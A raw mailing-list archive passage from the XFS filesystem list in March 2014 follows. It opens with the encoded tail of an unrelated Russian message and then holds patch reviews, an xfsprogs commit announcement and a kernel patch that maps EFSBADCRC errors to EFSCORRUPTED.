=CC=FB =E1=EE=EB=F2=E0=EB= =E8 =EE =E2=F1=FF=EA=EE=E9 =E5=F0=F3=ED=E4=E5, =E2=EF=EB=EE=F2=FC =E4=EE = =F0=E0=E7=ED=EE=E2=E8=E4=ED=EE=F1=F2=E5=E9 =EA=E2=E0=F8=E5=ED=EE=E9 =EA=E0= =EF=F3=F1=F2=FB =E8 =F0=E5=F6=E5=EF=F2=EE=E2 =E5=E5 =EF=F0=E8=E3=EE=F2=EE= =E2=EB=E5=ED=E8=FF. =CF=F0=E8=F7=E5=EC =FD=F2=E0 =F2=E5=EC=E0 =E2=FB=E7=E2= =E0=EB=E0 =ED=E0 =F3=E4=E8=E2=EB=E5=ED=E8=E5 =EE=E6=E5=F1=F2=EE=F7=E5=ED=ED= =FB=E5 =F1=EF=EE=F0=FB. =CC=FB =ED=E5 =F1=EE=F8=EB=E8=F1=FC =ED=E5 =F2=EE= =EB=FC=EA=EE =E2=EE =E2=EA=F3=F1=E0=F5 =FD=F2=EE=E3=EE =EF=F0=EE=F1=F2=E5= =F6=EA=EE=E3=EE, =ED=EE =F7=E5=F0=F2=EE=E2=F1=EA=E8 =ED=E5=EE=E1=F5=EE=E4= =E8=EC=EE=E3=EE =E2 =EB=FE=E1=EE=EC =F3=E2=E0=E6=E0=FE=F9=E5=EC =F1=E5=E1= =FF =E4=EE=EC=E5 =E1=EB=FE=E4=E0, =ED=EE =E8 =E2 =F1=EF=EE=F1=EE=E1=E0=F5= =F1=EE=E1=F1=F2=E2=E5=ED=ED=EE =F1=E0=EC=EE=E3=EE =EA=E2=E0=F8=E5=ED=E8=FF= . =DF =F3=F2=E2=E5=F0=E6=E4=E0=EB=E0, =F7=F2=EE =EB=F3=F7=F8=E5 =E2=F1=E5= =E3=EE =EA=E2=E0=F1=E8=F2=FC =EA=E0=EF=F3=F1=F2=F3 =F1 =EA=EB=FE=EA=E2=EE= =E9, =EA=ED=FF=E7=FC =E6=E5 =ED=E0=F1=F2=E0=E8=E2=E0=EB =ED=E0 =EE=E1=FF=E7= =E0=F2=E5=EB=FC=ED=EE=EC =EF=F0=E8=F1=F3=F2=F1=F2=E2=E8=E8 =F1=EB=E0=E4=EA= =EE=E3=EE =E8 =E3=EE=F0=FC=EA=EE=E3=EE =EF=E5=F0=F6=E0 (=F2=EE=E6=E5 =EC=ED= =E5 =EB=FE=E1=E8=F2=E5=EB=FC =EA=EE=ED=F2=F0=E0=F1=F2=EE=E2!). =CF=F0=E5=E4= =F1=F2=E0=E2=E8=F2=FC =CA=E0=F9=E5=FF =F0=FF=E4=EE=EC =F1 =EA=E0=E4=EA=EE= =E9 =E7=E0 =EA=F0=EE=F8=E5=ED=E8=E5=EC =EA=EE=F7=E0=ED=EE=E2 =F3 =EC=E5=ED= =FF =ED=E5 =EF=EE=EB=F3=F7=E8=EB=EE=F1=FC, =ED=EE =EC=FB =E4=EE=F1=EF=EE=F0= =E8=EB=E8=F1=FC =E4=EE =F2=EE=E3=EE, =F7=F2=EE =F0=E5=F8=E8=EB=E8 =EF=F0=EE= =E2=E5=F0=E8=F2=FC =E2=F1=E5 =EE=EF=FB=F2=ED=FB=EC =EF=F3=F2=E5=EC, =EF=F0= =E8=F7=E5=EC =ED=E0 =EA=EE=EC-=ED=E8=E1=F3=E4=FC =F2=F0=E5=F2=FC=E5=EC, =ED= =E5 =E7=E0=E8=ED=F2=E5=F0=E5=F1=EE=E2=E0=ED=ED=EE=EC =E2 =F0=E5=E7=F3=EB=FC= =F2=E0=F2=E0=F5 =ED=E0=F8=E8=F5 =EA=F3=EB=E8=ED=E0=F0=ED=FB=F5 =E4=E5=E1=E0= =F2=EE=E2 =EB=E8=F6=E5. =C1=EB=E0=E3=EE =E2 =E7=E0=EA=F0=EE=EC=E0=F5 =EA=ED= =FF=E6=E5=F1=EA=EE=E3=EE =E7=E0=EC=EA=E0 =EF=F0=E8=F1=F3=F2=F1=F2=E2=EE=E2= =E0=EB=E8 =EA=E0=E4=EA=E8 =F1 =EE=E1=EE=E8=EC=E8 =E2=E8=E4=E0=EC=E8 =EA=E0= =EF=F3=F1=F2=FB.=20
- =CD=EE, =ED=EE, =F2=EE= =EB=FC=EA=EE =E1=E5=E7 =F0=F3=EA! - =D1=E5=ED=FC=EA=E0 =EF=EE=EF=FF=F2=E8= =EB=F1=FF =EF=EE=E4 =F1=EF=E0=F1=E8=F2=E5=EB=FC=ED=FB=E9 =EF=EE=EB=EE=E3 = =EA=F0=EE=E2=E0=F2=E8 =E8 =E7=E0=F2=E0=E8=EB=F1=FF =F2=E0=EC, =EE=E1=E8=E6= =E5=ED=ED=EE =F1=E2=E5=F0=EA=E0=FF =E3=EB=E0=E7=E8=F9=E0=EC=E8.=20
- =D7=F2=EE, =ED=E5 =E6=E4= =E0=EB=E8? - =EC=F0=E0=F7=ED=EE =F1=EF=F0=EE=F1=E8=EB=E0 =FF, =EE=E4=E5=F0= =E3=E8=E2=E0=FF =EF=EE=F2=FF=ED=F3=E2=F8=F3=FE=F1=FF =EA =EF=F0=E8=E2=FF=E7= =E0=ED=ED=FB=EC =E6=E5=F0=E5=E1=F6=E0=EC =ED=E0 =E4=F0=F3=E3=EE=E9 =F1=F2= =EE=F0=EE=ED=E5 =EF=EE=EB=FF=ED=FB =EB=EE=F8=E0=E4=FC.=20
=C8=E4=E5=E9 =EF=EE=EB=F3=F7=F8=E5, =E5=F1=F2=E5=F1=F2=E2=E5=ED=ED= =EE, =ED=E5 =E1=FB=EB=EE. =D1=EE=E1=F1=F2=E2=E5=ED=ED=EE, =E8=E4=E5=E9 =ED= =E5 =E1=FB=EB=EE =E2=EE=EE=E1=F9=E5, =ED=E8=EA=E0=EA=E8=F5.
<= /DIV>
------=_NextPart_000_1278_01CF357D.8C4EEAC0-- From sandeen@sandeen.net Sat Mar 1 14:42:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B9B67F54 for ; Sat, 1 Mar 2014 14:42:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0B9E78F8037 for ; Sat, 1 Mar 2014 12:42:43 -0800 (PST) X-ASG-Debug-ID: 1393706561-04cbb066e41784a0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id spzZlYuC2riIz5fC for ; Sat, 01 Mar 2014 12:42:42 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 99221617803E; Sat, 1 Mar 2014 14:42:41 -0600 (CST) Message-ID: <53124642.9040805@sandeen.net> Date: Sat, 01 Mar 2014 14:42:42 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Andrew Clayton , xfs@oss.sgi.com Subject: Re: [PATCH] man: xfs_repair.8: Fix a grammatical error References: <1393681600-13098-1-git-send-email-andrew@digital-domain.net> X-ASG-Orig-Subj: Re: [PATCH] man: xfs_repair.8: Fix a grammatical error In-Reply-To: <1393681600-13098-1-git-send-email-andrew@digital-domain.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393706562 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145643 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/1/14, 7:46 AM, Andrew Clayton wrote: > Fix an issue in the -o force_geometry suboption text. > > Signed-off-by: Andrew Clayton thanks, Reviewed-by: Eric Sandeen > --- > man/man8/xfs_repair.8 | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/man/man8/xfs_repair.8 b/man/man8/xfs_repair.8 > index ed20fb7..b7c2d8c 100644 > --- a/man/man8/xfs_repair.8 > +++ b/man/man8/xfs_repair.8 > @@ -144,7 +144,7 @@ reduce repair times on concat based filesystems. > .BI force_geometry > Check the filesystem even if geometry information could not be validated. > Geometry information can not be validated if only a single allocation > -group and exist and thus we do not have a backup superblock available, or > +group exists and thus we do not have a backup superblock available, or From david@fromorbit.com Sun Mar 2 19:03:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9988C29DF7 for ; Sun, 2 Mar 2014 19:03:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0DF8BAC002 for ; Sun, 2 Mar 2014 17:03:24 -0800 (PST) X-ASG-Debug-ID: 1393808602-04cbb066e71b1380001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id CBveUQGixFC89x3E for ; Sun, 02 Mar 2014 17:03:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ag5bAMvTE1N5LJYePGdsb2JhbABagwaDQ4UMszeFWYEYFwMBAQEBHxkNKIIlAQEFJxMNDyMQCAMOCgklDwUlAwcaE4d4r2icIxcWjkMHhDgEmDuKVYsYKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Mar 2014 11:33:21 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKHHq-00021G-8f; Mon, 03 Mar 2014 12:03:18 +1100 Date: Mon, 3 Mar 2014 12:03:18 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: check all buffers in xfs_check_page_type() Message-ID: <20140303010318.GG13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: check all buffers in xfs_check_page_type() References: <1393615369-41882-1-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393615369-41882-1-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393808602 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145679 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 28, 2014 at 02:22:49PM -0500, Brian Foster wrote: > xfs_aops_discard_page() was introduced in the following commit: > > xfs: truncate delalloc extents when IO fails in writeback > > ... to clean up left over delalloc ranges after I/O failure in > ->writepage(). generic/224 tests for this scenario and occasionally > reproduces panics on sub-4k blocksize filesystems. > > The cause of this is failure to clean up the delalloc range on a > page where the first buffer does not match one of the expected > states of xfs_check_page_type(). If a buffer is not unwritten, > delayed or dirty&mapped, xfs_check_page_type() stops and > immediately returns 0. > > The stress test of generic/224 creates a scenario where the first > several buffers of a page with delayed buffers are mapped&uptodate > and some subsequent buffer is delayed. If the ->writepage() happens > to fail for this page, xfs_aops_discard_page() incorrectly skips > the entire page. > > Modify xfs_aops_discard_page() to iterate all of the page buffers > to ensure a delayed buffer does not go undetected. > > Signed-off-by: Brian Foster > --- > > The only other caller to xfs_check_page_type() is xfs_convert_page(). I > think this is safe with respect to that codepath, given the additional > imap checks therein and whatnot, but thoughts appreciated. Just to close the loop ifor everyone else on the IRC discussion Brian and I had - removing the break statement is likely to cause problems with xfs_convert_page(). What xfs_convert_page() assumes is that xfs_check_page_type() will return true iff the first iand subsequent buffers on the page match the given type and can be written back. Skipping over buffers that have unknown contents is incorrect behaviour - if the first buffer on the page is unmapped, then it should break and return false. However, xfs_aops_discard_page() requires it to check all buffers on the page for delalloc state so that we can punch them correctly, and so breaking out at the first unwriteable buffer is a bug. Hence to fix this, we need to change the way xfs_convert_page() works. It needs to stop processing buffesr in it's main loop whenever "done" gets set so that it stops at the same point that xfs_check_page_type() stops checking the buffers on the page. Once that is done, then we can modify xfs_check_page_type() to return true when it finds the first buffer of a given type on the page or false if it finds an unmapped buffer and we are looking for IO_DELALLOC.... And it needs a decent set of comments, too :) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Mar 2 22:43:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E6F2C29DF7 for ; Sun, 2 Mar 2014 22:43:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id BA765304032 for ; Sun, 2 Mar 2014 20:43:52 -0800 (PST) X-ASG-Debug-ID: 1393821829-04cbb066e71b8b00001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ODMBRdUlngXuCyCY for ; Sun, 02 Mar 2014 20:43:50 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtydAJkHFFN5LJYePGdsb2JhbABagwY7gwiFDKAjBJMQhnQXAwEBAQEfGQ0ogmYcOyQ0BSUDBy2HeJw9r3cWjWx0ghgPgXsEmDuVbSiBLQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Mar 2014 15:13:49 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKKjD-0002UA-BC for xfs@oss.sgi.com; Mon, 03 Mar 2014 15:43:47 +1100 Date: Mon, 3 Mar 2014 15:43:47 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfsprogs: master branch updated to 48733b2 Message-ID: <20140303044347.GH13647@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfsprogs: master branch updated to 48733b2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393821830 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145683 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The xfsprogs repository at git://oss.sgi.com/xfs/cmds/xfsprogs has just been updated. The new head of the master branch is commit: 48733b2 xfs_repair.8: Fix a grammatical error New Commits: Andrew Clayton (1): [48733b2] xfs_repair.8: Fix a grammatical error Dave Chinner (14): [9718fa2] mkfs: default log size for small filesystems too large [0aa7d59] mkfs: proto file creation does not set ftype correctly [beed0dc] repair: translation lookups limit scalability [586f8ab] repair: per AG locks contend for cachelines [602dcc0] libxfs: buffer cache hashing is suboptimal [12b55ba] repair: limit auto-striding concurrency apprpriately [1177f66] repair: use a listhead for the dotdot list [004e18d] repair: fix prefetch queue limiting [1c88e98] repair: BMBT prefetch needs to be CRC aware [1164bde] repair: factor out threading setup code [71014d1] repair: prefetch runs too far ahead [0c6b1ca] metadump: contiguous metadata object need to be split [fd49185] metadump: Only verify obfuscated metadata being dumped [f63c754] metadump: pathname obfuscation overruns symlink buffer Eric Sandeen (7): [4e11214] xfs_metadump: include F in getopts string [a872b62] xfs_copy: band-aids for CRC filesystems [a223e63] xfs_logprint: Don't error out after split items lose context [81c4920] xfs_logprint: don't advance op counter in xlog_print_trans_icreate [617c3c2] xfs_io: add missing break in O_TMPFILE case [ade06f8] xfs_io: test for invalid -Tr flag combination before open [17d7016] xfs_growfs: don't grow data if only -m is specified Lukas Czerner (1): [938904c] xfs_io: add fzero command for zeroing range via fallocate Code Diffstat: copy/xfs_copy.c | 18 ++++++- db/io.h | 1 + db/metadump.c | 124 ++++++++++++++++++++++++++++++-------------- db/xfs_metadump.sh | 2 +- growfs/xfs_growfs.c | 9 ++-- include/cache.h | 4 +- include/libxfs.h | 1 + io/init.c | 1 + io/open.c | 10 ++-- io/prealloc.c | 44 +++++++++++++++- libxfs/cache.c | 7 ++- libxfs/init.h | 1 - libxfs/rdwr.c | 12 ++++- logprint/log_misc.c | 9 ++-- man/man8/xfs_io.8 | 5 ++ man/man8/xfs_repair.8 | 2 +- mkfs/proto.c | 8 +++ mkfs/xfs_mkfs.c | 48 +++++++++-------- repair/dino_chunks.c | 24 ++++----- repair/dinode.c | 55 ++++++++++++++------ repair/dinode.h | 18 ++++--- repair/globals.h | 5 +- repair/incore.c | 4 +- repair/phase3.c | 40 ++------------- repair/phase4.c | 48 ++--------------- repair/phase6.c | 46 ++++++++--------- repair/prefetch.c | 139 +++++++++++++++++++++++++++++++++++++++++++++++++- repair/prefetch.h | 10 ++++ repair/scan.c | 11 ++-- repair/xfs_repair.c | 23 ++++++++- 30 files changed, 489 insertions(+), 240 deletions(-) -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Sun Mar 2 23:40:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4EE2429DF7 for ; Sun, 2 Mar 2014 23:40:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5618AC003 for ; Sun, 2 Mar 2014 21:40:07 -0800 (PST) X-ASG-Debug-ID: 1393825200-04cb6c56771b6e20002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 4UuOZBjzRbyzGFS4 for ; Sun, 02 Mar 2014 21:40:05 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak5PAJkUFFN5LJYePGdsb2JhbABagwaIT7omFwMBAQEBHxkNKIIlAQEFJy8zCBgxOQMHFBmHeMwlF452hCIErigogS4k Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Mar 2014 16:10:00 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKLbY-0002b8-L7 for xfs@oss.sgi.com; Mon, 03 Mar 2014 16:39:56 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKLbY-00085l-KD for xfs@oss.sgi.com; Mon, 03 Mar 2014 16:39:56 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Date: Mon, 3 Mar 2014 16:39:53 +1100 X-ASG-Orig-Subj: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-Id: <1393825194-1719-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393825194-1719-1-git-send-email-david@fromorbit.com> References: <1393825194-1719-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393825204 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner While the verifier reoutines may return EFSBADCRC when a buffer ahs a bad CRC, we need to translate that to EFSCORRUPTED so that the higher layers treat the error appropriately and so we return a consistent error to userspace. This fixes a xfs/005 regression. Signed-off-by: Dave Chinner --- fs/xfs/xfs_mount.c | 3 +++ fs/xfs/xfs_symlink.c | 4 ++++ fs/xfs/xfs_trans_buf.c | 11 +++++++++++ 3 files changed, 18 insertions(+) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index f96c056..993cb19 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -314,6 +314,9 @@ reread: error = bp->b_error; if (loud) xfs_warn(mp, "SB validate failed with error %d.", error); + /* bad CRC means corrupted metadata */ + if (error == EFSBADCRC) + error = EFSCORRUPTED; goto release_buf; } diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 14e58f2..5fda189 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -80,6 +80,10 @@ xfs_readlink_bmap( if (error) { xfs_buf_ioerror_alert(bp, __func__); xfs_buf_relse(bp); + + /* bad CRC means corrupted metadata */ + if (error == EFSBADCRC) + error = EFSCORRUPTED; goto out; } byte_cnt = XFS_SYMLINK_BUF_SPACE(mp, byte_cnt); diff --git a/fs/xfs/xfs_trans_buf.c b/fs/xfs/xfs_trans_buf.c index 647b6f1..b8eef05 100644 --- a/fs/xfs/xfs_trans_buf.c +++ b/fs/xfs/xfs_trans_buf.c @@ -275,6 +275,10 @@ xfs_trans_read_buf_map( XFS_BUF_UNDONE(bp); xfs_buf_stale(bp); xfs_buf_relse(bp); + + /* bad CRC means corrupted metadata */ + if (error == EFSBADCRC) + error = EFSCORRUPTED; return error; } #ifdef DEBUG @@ -338,6 +342,9 @@ xfs_trans_read_buf_map( if (tp->t_flags & XFS_TRANS_DIRTY) xfs_force_shutdown(tp->t_mountp, SHUTDOWN_META_IO_ERROR); + /* bad CRC means corrupted metadata */ + if (error == EFSBADCRC) + error = EFSCORRUPTED; return error; } } @@ -375,6 +382,10 @@ xfs_trans_read_buf_map( if (tp->t_flags & XFS_TRANS_DIRTY) xfs_force_shutdown(tp->t_mountp, SHUTDOWN_META_IO_ERROR); xfs_buf_relse(bp); + + /* bad CRC means corrupted metadata */ + if (error == EFSBADCRC) + error = EFSCORRUPTED; return error; } #ifdef DEBUG -- 1.9.0 From dave@fromorbit.com Sun Mar 2 23:40:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 99B7F29DF7 for ; Sun, 2 Mar 2014 23:40:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2AA14AC003 for ; Sun, 2 Mar 2014 21:40:05 -0800 (PST) X-ASG-Debug-ID: 1393825200-04cb6c56771b6e20001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id qqGGZOlWBR4rtg4Y for ; Sun, 02 Mar 2014 21:40:00 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkJPAJkUFFN5LJYePGdsb2JhbABagwaIT7omFwMBAQEBHxkNKIMCO4ECAweIJZxHr3WOdoQiBK4oKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Mar 2014 16:10:00 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKLbY-0002b7-Kg for xfs@oss.sgi.com; Mon, 03 Mar 2014 16:39:56 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKLbY-00085J-Ja for xfs@oss.sgi.com; Mon, 03 Mar 2014 16:39:56 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfs: fixes for for-next Date: Mon, 3 Mar 2014 16:39:52 +1100 X-ASG-Orig-Subj: [PATCH 0/2] xfs: fixes for for-next Message-Id: <1393825194-1719-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393825200 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, A couple of quick fixes - the new verifier code leaks EFSBADCRC to userspace, so any code that is checking for EFSCORRUPTED is not going to be working correctly. The first patch fixes this regression. The second patch fixes a long standing issues with vmapped RAM potentially causing deadlocks due to GFP_KERNEL allocations being done for page tables inside GFP_NOFS contexts. This will fix many of the lockdep reports about it, but won't get rid of them all. It will, however, guarantee that we won't deadlock due to the problem which is a big step up. Cheers, Dave. From dave@fromorbit.com Sun Mar 2 23:40:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 50CA729E06 for ; Sun, 2 Mar 2014 23:40:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 14E4A8F8039 for ; Sun, 2 Mar 2014 21:40:08 -0800 (PST) X-ASG-Debug-ID: 1393825205-04bdf05dac1ceb70001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 4yeK2bReU6a5VRnS for ; Sun, 02 Mar 2014 21:40:06 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak5PAJkUFFN5LJYePGdsb2JhbABagwaIT7omFwMBAQEBHxkNKIIlAQEFJy8zCBgxOQMHFBmHeMwlF411hSMEoxCLGCiBLA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Mar 2014 16:10:00 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKLbY-0002b9-Lo for xfs@oss.sgi.com; Mon, 03 Mar 2014 